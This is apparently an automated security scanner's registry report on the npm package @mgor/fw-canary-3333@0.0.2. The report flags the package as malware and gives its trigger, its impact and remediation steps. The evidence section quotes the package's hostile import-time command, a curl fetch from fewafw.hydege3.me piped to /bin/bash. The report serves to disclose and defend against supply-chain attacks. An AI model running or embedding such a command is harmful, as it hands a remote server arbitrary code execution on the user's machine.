registry / Remote code execution / @mgor/fw-canary-3333
@mgor/fw-canary-3333
Ephemeral supply-chain firewall canary. Not for use. Safe to unpublish.
This report shows the evidence for @mgor/fw-canary-3333@0.0.2. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThe package has no install hook, but its exported main file creates concrete remote code execution whenever it is imported. The source comment falsely describes the package as inert.
Static reason
No blocking static signals were detected.
Trigger
Any runtime require/import resolving main index.js.
Impact
Remote code execution with the privileges of the importing process.
Mechanism
curl remote content piped to /bin/bash via child_process.exec
Attack narrative
The main entrypoint runs automatically on import. It uses child_process.exec to fetch content from fewafw.hydege3.me with curl and pipes that content to /bin/bash, allowing the remote server to execute arbitrary commands on the consumer machine.
AI rationale
The package has no install hook, but its exported main file creates concrete remote code execution whenever it is imported. The source comment falsely describes the package as inert.
Evidence
package.jsonindex.js
Network endpoints1
fewafw.hydege3.me
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js imports node:child_process.
- index.js executes `curl fewafw.hydege3.me | /bin/bash` at module import.
- Remote response is piped directly to a shell.
Evidence against
- package.json has no lifecycle scripts.
- Package contains only package.json, README.md, and index.js.
- No credential harvesting or file writes found.
Behavioral surface
ChildProcessShell
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
3 High
HighAi Review Evidence
HighAi Review Evidence
HighAi Review Evidence
Affected versions and remediation
This report applies to @mgor/fw-canary-3333@0.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing @mgor/fw-canary-3333@0.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.